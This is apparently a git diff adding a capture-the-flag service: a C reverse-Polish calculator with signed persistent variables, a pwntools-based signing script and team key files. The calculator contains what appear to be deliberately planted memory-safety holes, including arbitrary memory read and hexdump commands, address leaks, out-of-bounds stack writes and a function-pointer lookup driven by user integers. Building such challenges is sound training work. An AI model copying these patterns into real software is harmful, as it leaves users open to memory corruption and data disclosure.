print_error_1(uint64_t err_code, char *p1) +{ + char *s; + switch(err_code) { + case EC_UNCLOSED_STR_LITERAL: s = "Unclosed string literal: %s"; break; + case EC_UNRECOGNIZED_ESCAPE: s = "Unrecognized escape in string literal: %s"; break; + case EC_STR_LITERAL_TOO_LONG: s = "String literal too long: %s"; break; + case EC_INT_LITERAL_TOO_LONG: s = "Integer literal too long: %s"; break; + case EC_IDENT_TOO_LONG: s = "Identifier too long: %s"; break; + case EC_INVALID_CHAR_IN_KW: s = "Invalid character in keyword: %s"; break; + case EC_INVALID_KEYWORD: s = "Invalid keyword: %s"; break; + case EC_INVALID_CHAR_IN_INT_LITERAL: s = "Invalid character in integer literal: %s"; break; + case EC_INVALID_INT_LITERAL: s = "Invalid integer literal: %s"; break; + case EC_UNEXPECTED_INPUT: s = "Unexpected input: %s"; break; + case EC_TIME_OUT_OF_RANGE: s = "Unix-time out of range: %sd"; break; + default: + assert(0); + s = "*** UNDEFINED ERROR CONDITION ***"; + } + print_error_1p(s, p1); +} + +static int fd_store; + +typedef void (*cmd_func_t)(); + +typedef struct { + enum tok_type { + TOK_NONE = 0, + TOK_KEYWORD = 1, + TOK_IDENT = 2, + TOK_NUMBER = 3, + TOK_STRING = 4, + } type; + char *lexeme; + char str_id_value[MAX_STR_ID_LEN+1]; + int64_t int_value; + cmd_func_t kw_function; +} token; + +#define VT_EMPTY 0 +#define VT_NUMBER 0xa005305a // 0b6bc11a +#define VT_STRING 0x894aba46 // 3f0646b1 +#define VT_IDENTIFIER 0x74564d83 // 9675d691 + +typedef struct { + unsigned int type; + unsigned int signer; + union { + char str_id_value[MAX_STR_ID_LEN]; + int64_t int_value; + }; +} value_t; + +static struct { + char int_literal_conversion_buffer[64]; + char store1_var_names[N_VARS_PER_STORE][MAX_STR_ID_LEN]; + int padding1; + int padding2; + char store2_var_names[N_VARS_PER_STORE][MAX_STR_ID_LEN]; +} b0; +static uint64_t store1_timestamps[N_VARS_PER_STORE]; +static uint64_t store2_timestamps[N_VARS_PER_STORE]; +static struct { + value_t pad0; + value_t store1_values[N_VARS_PER_STORE]; + value_t pad1; + value_t pad2; + value_t pad3; + value_t stack[MAX_STACK_ELEMENTS]; + value_t pad4; + value_t buffer_for_time2str; + value_t store2_values[N_VARS_PER_STORE]; +} b1; +static int stack_len; + +enum { + print_in_dec = 1, + print_in_hex = 2, + print_in_oct = 3, + debug_mode = 16 +}; + +static struct { + char safe_area_for_underflow_in_parse_str_buf[MAX_LINE_LENGTH]; + int mode_flags; + int some_padding1; + char parse_str_buf[MAX_LINE_LENGTH+1]; + int some_padding2; +} dm = { .mode_flags = print_in_dec }; + +#if 0 +void print_up_to_16(char *s) +{ + int len=0; + for(;*s;++s,++len) { + if (len==16) { + printf("..."); + return; + } + putchar(*s); + } +} +#endif + +void print_stack() +{ +#ifdef DEV_DEBUG + printf("stack_len=%d\n", stack_len); +#endif + if (stack_len==0) { + printf("The value stack is empty.\n"); + return; + } + const int print_base = dm.mode_flags & 3; + printf("Current base: "); + switch (print_base) { + case print_in_dec: printf("Dec\n"); break; + case print_in_hex: printf("Hex\n"); break; + case print_in_oct: printf("Oct\n"); break; + } + for(int i = MAX_STACK_ELEMENTS-1; i>=0; --i) { + value_t *s = b1.stack + i; + if (s->type==VT_EMPTY) + continue; + printf(BWHT "[%2d] ", i); + switch (s->type) { + case VT_NUMBER: + { + int64_t value = s->int_value == 0x0ddba11 ? (int64_t)&s->int_value : s->int_value; + switch (print_base) { + case print_in_dec: printf(MAG "%" PRId64, value); break; + case print_in_hex: printf(MAG "%" PRIx64, value); break; + case print_in_oct: printf(MAG "%" PRIo64, value); break; + } + break; + } + case VT_STRING: + printf(YEL "\"%.32s\"", s->str_id_value); + /* printf(YEL "\""); */ + /* print_up_to_16(s->str_id_value); */ + /* putchar('\"'); */ + break; + case VT_IDENTIFIER: + printf(GRN "%.32s", s->str_id_value); + /* printf(GRN); */ + /* print_up_to_16(s->str_id_value); */ + break; + case VT_EMPTY: + /* nop */ + default: ; // nop + /* printf(ERROR "Corrupted value-type %ld (this shouldn't happen)\n" reset, s->type); */ + //assert(0); + } + printf(reset "\n"); + } +} + +void push_ident(token *t) +{ + if (stack_len == MAX_STACK_ELEMENTS) { + print_error(EC_STACK_IS_FULL); + ++stack_len; + return; + } + memmove(b1.stack+1, b1.stack, sizeof(b1.stack)-sizeof(*b1.stack)); + b1.stack[0].type = VT_IDENTIFIER; + memset(b1.stack[0].str_id_value, 0, sizeof(b1.stack[0].str_id_value)); + strncpy(b1.stack[0].str_id_value, t->lexeme, MAX_STR_ID_LEN); + ++stack_len; +} + +void push_int(token *t) +{ + if (++stack_len > MAX_STACK_ELEMENTS) { + print_error(EC_STACK_IS_FULL); + stack_len = MAX_STACK_ELEMENTS; + return; + } + memmove(b1.stack+1, b1.stack, sizeof(b1.stack)-sizeof(*b1.stack)); + b1.stack[0].type = VT_NUMBER; + memset(b1.stack[0].str_id_value, 255, sizeof(b1.stack[0].str_id_value)); + b1.stack[0].int_value = t->int_value; +} + +void push_string(token *t) +{ + if (++stack_len > MAX_STACK_ELEMENTS) { + print_error(EC_STACK_IS_FULL); + stack_len = MAX_STACK_ELEMENTS; + return; + } + memmove(b1.stack+1, b1.stack, sizeof(b1.stack)-sizeof(*b1.stack)); + memset(b1.stack[0].str_id_value, 0, sizeof(b1.stack[0].str_id_value)); + b1.stack[0].type = VT_STRING; + strncpy(b1.stack[0].str_id_value, t->str_id_value, MAX_STR_ID_LEN); +} + +static bool dev_mode; +static token tokens[MAX_TOKENS]; +static int n_tokens; + +bool there_are_no_spurious_args() +{ + if (n_tokens == 1) + return true; + print_error(EC_NO_ARGS_ON_CMDLINE); + return false; +} + +uint64_t get_time() +{ + struct timespec t; + if (clock_gettime(CLOCK_MONOTONIC_RAW, &t)) { + perror("clock_gettime"); + exit(EXIT_FAILURE); + } + return (uint64_t)t.tv_sec*1000000 + (uint64_t)t.tv_nsec/1000; +} + +static char *parse_string_literal(char *l) +{ + char *out = dm.parse_str_buf; + char *in = l; + char terminator = *in++; + bool escape = false; + int len = 0; + for(;;) { + if (!*in) { + print_error_1(EC_UNCLOSED_STR_LITERAL, l); + return 0; + } + if (escape) { + --out; + switch (*in++) { + case 'n': *out++ = '\n'; break; + case 'r': *out++ = '\r'; break; + case 't': *out++ = '\t'; break; + case '\'': *out++ = '\''; break; + case '\"': *out++ = '\"'; break; + case '\\': break; + default: + print_error_1(EC_UNRECOGNIZED_ESCAPE, l); + return 0; + } + escape = false; + continue; + } + if (*in==terminator) { +#ifdef DEV_DEBUG + printf("out=%p parse_str_buf=%p &mode_flags=%p mode_flags=%x\n", out, dm.parse_str_buf, &dm.mode_flags, dm.mode_flags); +#endif + *out = 0; + tokens[n_tokens].type = TOK_STRING; + tokens[n_tokens].lexeme = l; + strcpy(tokens[n_tokens].str_id_value, dm.parse_str_buf); + ++n_tokens; + ++in; + if (*in) + *in++ = 0; + return in; + } + if (++len > MAX_STR_ID_LEN) { + print_error_1(EC_STR_LITERAL_TOO_LONG, l); + return 0; + } + if ( (*out++ = *in++) == '\\' ) { + escape = true; + if (!*in) { + print_error_1(EC_INCOMPLETE_STR_LITERAL, l); + return 0; + } + if (*in=='\\') --out; + } + } +} + +#if 0 +static void print_tokens() +{ + printf("n_tokens=%d\n", n_tokens); + token *t = tokens; + for(int a=0; atype) { + case TOK_KEYWORD: + printf("TOK_KEYWORD " reset); + break; + case TOK_IDENT: + printf("TOK_IDENT " reset); + break; + case TOK_NUMBER: + printf("TOK_NUMBER " reset); + break; + case TOK_STRING: + printf("TOK_STRING " reset); + break; + default: assert(false); + } + printf(reset); + printf(" lexeme=" BWHT "%s" reset, t->lexeme); + switch(t->type) { + case TOK_KEYWORD: + printf(" hash=" MAG "%" PRId64 reset, t->int_value); + break; + case TOK_IDENT: + break; + case TOK_NUMBER: + printf(" int_value=" MAG "%" PRId64 reset, t->int_value); + break; + case TOK_STRING: + printf(" str_value=" MAG "%s" reset, t->str_id_value); + break; + default: assert(false); + } + putchar('\n'); + } +} +#endif + +static void cmd_ver() +{ + printf("bb52963df0c359f3\n"); + printf("22adcea545341e45\n"); + printf("4b91685c14458e3d\n"); + printf("982059cf01a70efb\n"); +} + +static void cmd_next_base() +{ + if (!there_are_no_spurious_args()) + return; + ++dm.mode_flags; + dm.mode_flags &= 31; + if ((dm.mode_flags&3)==0) + ++dm.mode_flags; +} + +static void cmd_dec() +{ + if (!there_are_no_spurious_args()) + return; + dm.mode_flags = print_in_dec; +} + +static void cmd_hex() +{ + if (!there_are_no_spurious_args()) + return; + dm.mode_flags = print_in_hex; +} + +static void cmd_oct() +{ + if (!there_are_no_spurious_args()) + return; + dm.mode_flags = print_in_oct; +} + +static void cmd_time() +{ + if (!there_are_no_spurious_args()) + return; + if ((stack_len+1) > MAX_STACK_ELEMENTS) { + print_error(EC_STACK_IS_FULL); + return; + } + ++stack_len; + memmove(b1.stack+1, b1.stack, sizeof(b1.stack)-sizeof(*b1.stack)); + b1.stack[0].type = VT_NUMBER; + b1.stack[0].int_value = time(0); +} + +static void cmd_random() +{ + if (!there_are_no_spurious_args()) + return; + if ((stack_len+1) > MAX_STACK_ELEMENTS) { + print_error(EC_STACK_IS_FULL); + return; + } + ++stack_len; + memmove(b1.stack+1, b1.stack, sizeof(b1.stack)-sizeof(*b1.stack)); + b1.stack[0].type = VT_NUMBER; + b1.stack[0].int_value = (((uint64_t)&b1.store1_values) >> 12) ^ random(); + // the first call to random is always 1804289383 +} + +static void cmd_dup() +{ + if (stack_len==0) { + print_error(EC_STACK_IS_EMPTY); + return; + } + uint64_t n = 1; + if (n_tokens > 2) { + print_error(EC_DUP_TAKES_ONLY_AN_OPTIONAL_ARGUMENT); + return; + } + if (n_tokens == 2) { + if (tokens[1].type != TOK_NUMBER) { + print_error(EC_ARGUMENT_MUST_BE_INT); + return; + } + n = tokens[1].int_value; + if (n >= MAX_STACK_ELEMENTS) { + print_error(EC_ARGUMENT_TOO_BIG); + return; + } + } + stack_len += n; + if (stack_len > MAX_STACK_ELEMENTS) { + print_error(EC_STACK_IS_FULL); + stack_len -= n; + return; + } + while (n-- > 0) { + memmove(b1.stack+1, b1.stack, sizeof(b1.stack)-sizeof(*b1.stack)); + b1.stack[0] = b1.stack[1]; + } +} + +static void cmd_peek() +{ + if (!there_are_no_spurious_args()) + return; + if (stack_len<1 || b1.stack[0].type!=VT_NUMBER) { + return; + } + b1.stack[0].type = VT_NUMBER; + b1.stack[0].int_value = *((int64_t *)b1.stack[0].int_value); +} + +static void cmd_swap() +{ + if (stack_len<2) { +error: + print_error(EC_TOO_FEW_OPERANDS); + return; + } + if (n_tokens > 2) { + print_error(EC_NO_ARGS_ON_CMDLINE); + return; + } + int64_t other_index = 1; + if (n_tokens == 2 && tokens[1].type == TOK_NUMBER) + other_index = tokens[1].int_value; + if (other_index == 0 || other_index >= stack_len) + goto error; + const uint64_t t = b1.stack[other_index].type; + if (t != VT_NUMBER && t != VT_STRING && t != VT_IDENTIFIER) + goto error; + value_t tmp = b1.stack[0]; + b1.stack[0] = b1.stack[other_index]; + if (other_index < 0) + goto error; + b1.stack[other_index] = tmp; +} + +static void cmd_todohxd() +{ + if (!there_are_no_spurious_args()) + return; + if (stack_len<2 || b1.stack[0].type!=VT_NUMBER || b1.stack[1].type!=VT_NUMBER) { + return; + } + char *buf = (char *)b1.stack[0].int_value; + char *end_buf = buf + b1.stack[1].int_value; + for(; buf < end_buf ; buf += sizeof(void *)) { + printf(CYN "%p" WHT " | ", buf); + unsigned char *pc; + pc = (unsigned char *)buf; + int b; + printf(YEL); + for(b=0; b=' ' && c<127) ? c : '.'); + } + printf(" | "); \ + printf(WHT "\n"); \ + } +} + +static void cmd_clear() +{ + if (!there_are_no_spurious_args()) + return; + for(int i = 0; i MAX_STACK_ELEMENTS) { + print_error(EC_STACK_IS_FULL); + stack_len -= 4; + return; + } + uint64_t ints[4], *p = (uint64_t*)b1.stack[0].str_id_value; + for(int a=0; a<4; ++a) + ints[a] = p[a]; + memmove(b1.stack+4, b1.stack, sizeof(b1.stack)-4*sizeof(*b1.stack)); + for(int a=0; a<4; ++a) { + b1.stack[a].type = VT_NUMBER; + b1.stack[a].int_value = ints[a]; + } +} + +static void cmd_str_to_ints() +{ + str_or_id_to_ints(VT_STRING); +} + +static void cmd_id_to_ints() +{ + str_or_id_to_ints(VT_IDENTIFIER); +} + +static void cmd_time_to_str() +{ + if (!there_are_no_spurious_args()) + return; + if (stack_len < 1) { + print_error(EC_TOO_FEW_OPERANDS); + return; + } + if (b1.stack[0].type != VT_NUMBER) { + print_error(EC_TOP_MUST_BE_INT); + return; + } + time_t *t = ((time_t *)b1.store2_values) - 1; + *t = b1.stack[0].int_value; + if (ctime_r(t, b1.buffer_for_time2str.str_id_value)==b1.buffer_for_time2str.str_id_value) { + size_t len = strlen(b1.buffer_for_time2str.str_id_value); + if (len>0 && b1.buffer_for_time2str.str_id_value[len-1]=='\n') + b1.buffer_for_time2str.str_id_value[--len] = 0; + b1.stack[0] = b1.buffer_for_time2str; + b1.stack[0].type = VT_STRING; // the other tag is empty and so should remain + return; + } + print_error_1(EC_TIME_OUT_OF_RANGE, (char*)t); +} + +static const uint8_t vk_0[32] = {109, 87, 244, 119, 113, 181, 108, 240, 43, 173, 91, 187, 209, 79, 78, 187, 45, 12, 210, 126, 70, 52, 54, 9, 244, 45, 143, 62, 68, 222, 195, 119}; +static const uint8_t vk_1[32] = {9, 113, 217, 78, 218, 199, 4, 235, 186, 44, 80, 3, 59, 133, 19, 68, 86, 195, 159, 143, 2, 115, 21, 250, 60, 186, 250, 169, 79, 201, 192, 164}; +static const uint8_t vk_2[32] = {37, 164, 133, 26, 108, 164, 192, 75, 213, 62, 8, 123, 212, 204, 58, 18, 235, 121, 73, 146, 91, 178, 219, 60, 92, 71, 231, 174, 140, 179, 163, 33}; +static const uint8_t vk_3[32] = {140, 177, 32, 171, 169, 97, 142, 116, 52, 164, 158, 33, 232, 199, 17, 91, 97, 116, 239, 134, 83, 10, 37, 76, 71, 102, 232, 149, 65, 39, 53, 154}; +static const uint8_t vk_4[32] = {204, 241, 52, 95, 137, 29, 223, 176, 117, 238, 95, 143, 247, 17, 149, 130, 132, 127, 87, 138, 238, 68, 190, 89, 99, 111, 7, 99, 227, 29, 124, 77}; +static const uint8_t vk_5[32] = {233, 216, 236, 65, 191, 70, 89, 96, 46, 139, 169, 44, 80, 105, 14, 124, 92, 108, 158, 137, 27, 109, 155, 26, 188, 146, 147, 179, 171, 75, 164, 54}; +static const uint8_t vk_6[32] = {254, 46, 252, 35, 59, 209, 71, 135, 166, 124, 59, 229, 187, 237, 188, 17, 87, 68, 150, 57, 173, 43, 75, 184, 204, 229, 235, 118, 170, 46, 217, 7}; +static const uint8_t vk_7[32] = {244, 207, 47, 6, 60, 74, 166, 225, 90, 156, 97, 228, 91, 253, 136, 98, 228, 45, 200, 13, 141, 38, 82, 70, 102, 229, 67, 79, 103, 100, 39, 242}; +static const uint8_t * const v_keys[]={ + vk_0, + vk_1, + vk_2, + vk_3, + vk_4, + vk_5, + vk_6, + vk_7, + 0, +}; + +static bool challenge_with_signature() +{ + uint8_t chall[16]; + ssize_t s = getrandom(chall, sizeof(chall), GRND_NONBLOCK); + if (s != sizeof(chall)) { + perror("getrandom"); + exit(EXIT_FAILURE); + } + printf("In order to store a permanent variable, you must tell me the signature for:\n"); + for(int a=0; a %.32s\n", i, values[i].signer, var_names[i], values[i].str_id_value); + else if (values[i].type == VT_NUMBER) + printf("%02d %x %.32s %" PRId64 "\n", i, values[i].signer, var_names[i], values[i].int_value); + else if (values[i].type) printf("Bad value-type: %u\n", values[i].type); + } +#endif + int index = -1; + for(int a=0; a MAX_VAR_IN_STORE_PER_SIGNER) { + printf("\n\n\n**** CORRUPTION for %x, c=%d ****\n\n\n", signer, c); + exit(-1); + } +#endif +} + +static void cmd_set_var() +{ + if (!there_are_no_spurious_args()) + return; + if (stack_len < 2) { + print_error(EC_TOO_FEW_OPERANDS); + return; + } + if (b1.stack[0].type != VT_IDENTIFIER) { + print_error(EC_TOP_MUST_BE_ID); + return; + } + if (b1.stack[1].type != VT_STRING && b1.stack[1].type != VT_NUMBER) { + print_error(EC_2ND_MUST_BE_STR_OR_INT); + return; + } + if (!challenge_with_signature()) { + cmd_drop(); + cmd_drop(); + return; + } + if (lseek(fd_store, 0, SEEK_SET) == -1) { + perror("cmd_set_var lseek (1)"); + exit(EXIT_FAILURE); + } + if (flock(fd_store, LOCK_EX)) { + perror("cmd_set_var flock LOCK_EX"); + exit(EXIT_FAILURE); + } + ssize_t n = read(fd_store, b0.store1_var_names, sizeof(b0.store1_var_names)); + if (n) { + if (n!=sizeof(b0.store1_var_names) + || read(fd_store, store1_timestamps, sizeof(store1_timestamps)) != sizeof(store1_timestamps) + || read(fd_store, b1.store1_values, sizeof(b1.store1_values)) != sizeof(b1.store1_values) + || read(fd_store, b0.store2_var_names, sizeof(b0.store2_var_names)) != sizeof(b0.store2_var_names) + || read(fd_store, store2_timestamps, sizeof(store2_timestamps)) != sizeof(store2_timestamps) + || read(fd_store, b1.store2_values, sizeof(b1.store2_values)) != sizeof(b1.store2_values)) { + perror("cmd_set_var read"); + exit(EXIT_FAILURE); + } + } + if (store_for_identifier(b1.stack[0].str_id_value)==0) { + really_set_var(store1_timestamps, b0.store1_var_names, b1.store1_values, 1); + } else { + really_set_var(store2_timestamps, b0.store2_var_names, b1.store2_values, 2); + } + if (lseek(fd_store, 0, SEEK_SET) == -1) { + perror("cmd_set_var lseek (2)"); + exit(EXIT_FAILURE); + } + if (write(fd_store, b0.store1_var_names, sizeof(b0.store1_var_names)) != sizeof(b0.store1_var_names)) { + perror("cmd_set_var write (1)"); + exit(EXIT_FAILURE); + } + if (write(fd_store, store1_timestamps, sizeof(store1_timestamps)) != sizeof(store1_timestamps)) { + perror("cmd_set_var write (2)"); + exit(EXIT_FAILURE); + } + if (write(fd_store, b1.store1_values, sizeof(b1.store1_values)) != sizeof(b1.store1_values)) { + perror("cmd_set_var write (3)"); + exit(EXIT_FAILURE); + } + if (write(fd_store, b0.store2_var_names, sizeof(b0.store2_var_names)) != sizeof(b0.store2_var_names)) { + perror("cmd_set_var write (4)"); + exit(EXIT_FAILURE); + } + if (write(fd_store, store2_timestamps, sizeof(store2_timestamps)) != sizeof(store2_timestamps)) { + perror("cmd_set_var write (5)"); + exit(EXIT_FAILURE); + } + if (write(fd_store, b1.store2_values, sizeof(b1.store2_values)) != sizeof(b1.store2_values)) { + perror("cmd_set_var write (6)"); + exit(EXIT_FAILURE); + } + if (flock(fd_store, LOCK_UN)) { + perror("cmd_set_var flock LOCK_UN"); + exit(EXIT_FAILURE); + } + if (fsync(fd_store)) { + perror("cmd_set_var fsync"); + exit(EXIT_FAILURE); + } + cmd_drop(); + cmd_drop(); +} + +static void cmd_pick() +{ + if (n_tokens < 1) { + print_error(EC_MISSING_ARGUMENT); + return; + } + if (tokens[1].type != TOK_NUMBER) { + print_error(EC_ARGUMENT_MUST_BE_INT); + return; + } + int i = tokens[1].int_value; + if (i==0) { + print_error(EC_OPERAND_MUST_BE_NON_NEG); + return; + } + const unsigned int t = b1.stack[i-1].type; + if (i>stack_len || t == VT_EMPTY || (t!=VT_NUMBER && t!=VT_STRING && t!=VT_IDENTIFIER)) { + print_error(EC_THERE_IS_NOTHING); + return; + } + memmove(b1.stack+1, b1.stack, sizeof(b1.stack)-sizeof(*b1.stack)); + ++stack_len; + b1.stack[0] = b1.stack[i]; +} + +static void cmd_xor() +{ + if (ok_for_arithmetic()) + b1.stack[0].int_value = operand1 ^ operand2; +} + +static void cmd_or() +{ + if (ok_for_arithmetic()) + b1.stack[0].int_value = operand1 | operand2; +} + +static void cmd_debug_on() +{ + if (!there_are_no_spurious_args()) + return; + if (!dev_mode) + print_error(EC_DEBUG_ONLY_IN_DEV); + else + dm.mode_flags |= debug_mode; +} + +static void cmd_debug_off() +{ + if (!there_are_no_spurious_args()) + return; + if (!dev_mode) + print_error(EC_DEBUG_ONLY_IN_DEV); + else + dm.mode_flags &= ~debug_mode; +} + +typedef struct cmd_tree_node { + int64_t hash; + cmd_func_t func; + struct cmd_tree_node *l, *r; +} cmd_tree_node; + +static bool auto_print_stack = true; + +static void cmd_ps_on() +{ + auto_print_stack = true; +} + +static void cmd_ps_off() +{ + auto_print_stack = false; +} + +static void cmd_ps_status() +{ + if ((stack_len+1) > MAX_STACK_ELEMENTS) { + print_error(EC_STACK_IS_FULL); + return; + } + ++stack_len; + memmove(b1.stack+1, b1.stack, sizeof(b1.stack)-sizeof(*b1.stack)); + b1.stack[0].type = VT_NUMBER; + b1.stack[0].int_value = auto_print_stack; +} + +static void cmd_eval() +{ + extern cmd_tree_node *cmd_tree_root; + if (!there_are_no_spurious_args()) + return; + if (stack_len < 1) { + print_error(EC_TOO_FEW_OPERANDS); + return; + } + if (b1.stack[0].type != VT_NUMBER) { + print_error(EC_TOP_MUST_BE_INT); + return; + } + uint64_t i = b1.stack[0].int_value; + cmd_drop(); + cmd_tree_node *p = cmd_tree_root; + for(int a=0; a<21; ++a) { + int direction = i&7; + i >>= 3; + if (direction == 2) { + /* printf("l"); */ + p = p->l; + if (!p) { +error: + print_error(EC_INVALID_KEYWORD); + return; + } + } else if (direction == 5) { + /* printf("r"); */ + p = p->r; + if (!p) goto error; + } else if (direction==0 || direction==7) { + goto error; + } else { + /* printf("a"); */ + } + } + /* printf(""); */ + p->func(); +} + +#include "cmd_tree.h" + +static cmd_func_t find_cmd_func(char *lexeme, int64_t *h) +{ + *h = 0; + for(char *s=lexeme;*s;++s) { + const char c = *s; + if (!((c>='a' && c<='z') || (c>='A' && c<='_'))) { + print_error_1(EC_INVALID_CHAR_IN_KW, tokens[n_tokens].lexeme); + return 0; + } + *h <<= 5; + int x = *s & 31; + *h |= x; + } + cmd_tree_node *p = cmd_tree_root; + while (p) { + if (p->hash == *h) return p->func; + p = *h < p->hash ? p->l : p->r; + } + print_error_1(EC_INVALID_KEYWORD, lexeme); + return 0; +} + +static void welcome() +{ + printf( BYEL +" .__ .__ __ \n" +"_______ ______ ____ ____ _____ | | ____ __ __ | | _____ _/ |_ ____ _______ \n" +"\\_ __ \\\\____ \\ / \\ _/ ___\\ \\__ \\ | | _/ ___\\ | | \\| | \\__ \\ \\ __\\ / _ \\ \\_ __ \\\n" +" | | \\/| |_> >| | \\ \\ \\___ / __ \\_| |__\\ \\___ | | /| |__ / __ \\_ | | ( <_> ) | | \\/\n" +" |__| | __/ |___| / \\___ >(____ /|____/ \\___ >|____/ |____/(____ / |__| \\____/ |__| \n" +" |__| \\/ \\/ \\/ \\/ \\/ \n" + +/* BCYN "R" WHT "everse-" BCYN "P" WHT "rogrammer " BCYN "N" WHT "otation " BCYN "Calculator" */ +reset "\n\n"); +} + +#ifndef NO_SECCOMP +static void install_seccomp() { + static unsigned char filter[] = {32,0,0,0,0,0,0,0,53,0,12,0,0,0,0,64,21,0,12,0,0,0,0,0,21,0,11,0,1,0,0,0,21,0,10,0,3,0,0,0,21,0,9,0,60,0,0,0,21,0,8,0,231,0,0,0,21,0,7,0,228,0,0,0,21,0,6,0,73,0,0,0,21,0,5,0,8,0,0,0,21,0,4,0,74,0,0,0,21,0,3,0,201,0,0,0,21,0,2,0,62,1,0,0,6,0,0,0,1,0,5,0,6,0,0,0,0,0,0,0,6,0,0,0,0,0,255,127}; + struct prog { + unsigned short len; + unsigned char *filter; + } rule = { + .len = sizeof(filter) >> 3, + .filter = filter + }; + if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) { perror("prctl(PR_SET_NO_NEW_PRIVS)"); exit(2); } + if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) { perror("prctl(PR_SET_SECCOMP)"); exit(2); } +} +#endif + +static bool is_comment(char *l) +{ + return *l=='#' || (*l=='/' && l[1]=='/'); +} + +static bool is_ok_for_starting_identifier(char c) +{ + return c=='_' || (c>='a' && c<='z'); +} + +static bool is_ok_for_identifier(char c) +{ + return c=='_' || isalnum(c); +} + +static bool convert_hex_to_long(int64_t *result) +{ + char *p = b0.int_literal_conversion_buffer; + for(int a=0; a='0' && c<='9') || (c>='a' && c<='f') || (c>='A' && c<='Z'))) { + print_error_1(EC_INVALID_CHAR_IN_INT_LITERAL, b0.int_literal_conversion_buffer); + return false; + } + } + *result = strtoll(b0.int_literal_conversion_buffer, &p, 16); + if (*p) { + print_error_1(EC_INVALID_INT_LITERAL, tokens[n_tokens].lexeme); + return false; + } + return true; +} + +static bool convert_oct_to_long(int64_t *result) +{ + char *p = b0.int_literal_conversion_buffer; + for(int a=0; a='0' && c<='7') )) { + print_error_1(EC_INVALID_CHAR_IN_INT_LITERAL, b0.int_literal_conversion_buffer); + return false; + } + } + *result = strtoll(b0.int_literal_conversion_buffer, &p, 8); + if (*p) { + print_error_1(EC_INVALID_INT_LITERAL, tokens[n_tokens].lexeme); + return false; + } + return true; +} + +static bool my_convert_to_long(int64_t *result) +{ + const char * const s = tokens[n_tokens].lexeme; + if (strlen(s) > sizeof(b0.int_literal_conversion_buffer)) { + print_error_1(EC_INT_LITERAL_TOO_LONG, tokens[n_tokens].lexeme); + return false; + } + memset(b0.int_literal_conversion_buffer, 0, sizeof(b0.int_literal_conversion_buffer)); + if (s[0] == '0') { + if (s[1]=='x' || s[1]=='X') + return convert_hex_to_long(result); + else + return convert_oct_to_long(result); + } + if ((s[0] == '+' || s[0]=='-') && s[1]=='0') { + if (s[2]=='x' || s[2]=='X') + return convert_hex_to_long(result); + else + return convert_oct_to_long(result); + } + char *p = b0.int_literal_conversion_buffer; + for(int a=0; a='0' && c<='9'))) { + print_error_1(EC_INVALID_CHAR_IN_INT_LITERAL, b0.int_literal_conversion_buffer); + return false; + } + } + *result = strtoll(b0.int_literal_conversion_buffer, &p, 10); + if (*p) { + print_error_1(EC_INVALID_INT_LITERAL, tokens[n_tokens].lexeme); + return false; + } + return true; +} + +struct shortcut { + char op; + char *lexeme; +} shortcuts[] = { + { '+', "Add" }, + { '-', "Sub" }, + { '*', "Mul" }, + { '/', "Div" }, + { '&', "And" }, + { '^', "Xor" }, + { '|', "Or" }, + { '?', "Help" }, + { 0, 0 } +}; + +bool check_shortcuts(char *l) { + for(struct shortcut *s = shortcuts; s->op; ++s) + if (l[0]==s->op && (l[1]==0 || isblank(l[1]))) { + tokens[n_tokens].type = TOK_KEYWORD; + tokens[n_tokens].lexeme = s->lexeme; + cmd_func_t f = find_cmd_func(tokens[n_tokens].lexeme, &tokens[n_tokens].int_value); + if (!f) { + print_error(EC_INTERNAL_PARSER_ERROR); + exit(EXIT_FAILURE); + } + tokens[n_tokens].kw_function = f; + n_tokens++; + return true; + } + return false; +} + +static char *input_continuation = 0; +static bool auto_eval = 0; + +static bool tokenize(char *l) +{ + for(int a=0; a MAX_STR_ID_LEN ) { + print_error_1(EC_IDENT_TOO_LONG, tokens[n_tokens].lexeme); + return 0; + } + ++n_tokens; + if (!*end) + return true; + *end = 0; + l = ++end; + continue; + } else if ((*l>='0' && *l<='9') || ((*l=='-' || *l=='+') && l[1]>='0' && l[1]<='9')) { + tokens[n_tokens].type = TOK_NUMBER; + tokens[n_tokens].lexeme = l; + char *end = ++l; + while (*end && !isblank(*end)) ++end; + if (end[-1]=='!') { + auto_eval = true; + end[-1] = 0; + } + l = *end ? end+1 : end; + *end = 0; + if (!my_convert_to_long(&tokens[n_tokens].int_value)) + return false; + ++n_tokens; + continue; + } if (*l=='\"' || *l=='\'') { + l = parse_string_literal(l); + if (!l) + return false; + } else if (*l >= 'A' && *l <= '_') { + tokens[n_tokens].type = TOK_KEYWORD; + tokens[n_tokens].lexeme = l; + char *end = ++l; + while (*end && !isblank(*end)) { + ++end; + } + l = *end ? end+1 : end; + *end = 0; + const cmd_func_t f = strcasecmp(tokens[n_tokens].lexeme, "peek")==0 ? cmd_peek : find_cmd_func(tokens[n_tokens].lexeme, &tokens[n_tokens].int_value); + if (!f) + return false; + tokens[n_tokens].kw_function = f; + n_tokens++; + continue; + } else { + print_error_1(EC_UNEXPECTED_INPUT, l); + return false; + } + } +} + +static void clear_store(value_t *values) +{ + for(int a=0; a "); + if (!fgets(line, sizeof(line), stdin)) { + printf("Got EOF, bye bye.\n"); + break; + } + const size_t l = strlen(line); + if (l && line[l-1]=='\n') + line[l-1] = 0; + if (!tokenize(line) || n_tokens==0) + continue; + } + /* print_tokens(); */ + enum tok_type tt = tokens[0].type; + if (tt == TOK_KEYWORD) { + if (tokens[0].kw_function) + tokens[0].kw_function(); + } else { + if (n_tokens > 1) { + print_error(EC_TOO_MANY_TOKENS); + continue; + } + switch(tt) { + case TOK_IDENT: + push_ident(tokens); + break; + case TOK_NUMBER: + push_int(tokens); + if (auto_eval) { + auto_eval = false; + cmd_eval(); + } + break; + case TOK_STRING: + push_string(tokens); + break; + default: + assert(0); + } + } + } +} + diff --git a/services/service3/src/sign_challenge.py b/services/service3/src/sign_challenge.py new file mode 100755 index 0000000..b55eaf1 --- /dev/null +++ b/services/service3/src/sign_challenge.py @@ -0,0 +1,12 @@ +#!/usr/bin/env python3 +import ed25519_blake2b +import sys +import pwn + +with open(sys.argv[1], "rb") as f: + sk = ed25519_blake2b.SigningKey(f.read()) + +while True: + s = input("Challenge: ") + b = pwn.unhex(s.replace("\n", "").replace(" ", "")) + print(pwn.enhex(sk.sign(b))) diff --git a/services/service3/src/team_1_key b/services/service3/src/team_1_key new file mode 100644 index 0000000..6c508ba --- /dev/null +++ b/services/service3/src/team_1_key @@ -0,0 +1 @@ +qZam-rجjrrAi \ No newline at end of file diff --git a/services/service3/src/team_2_key 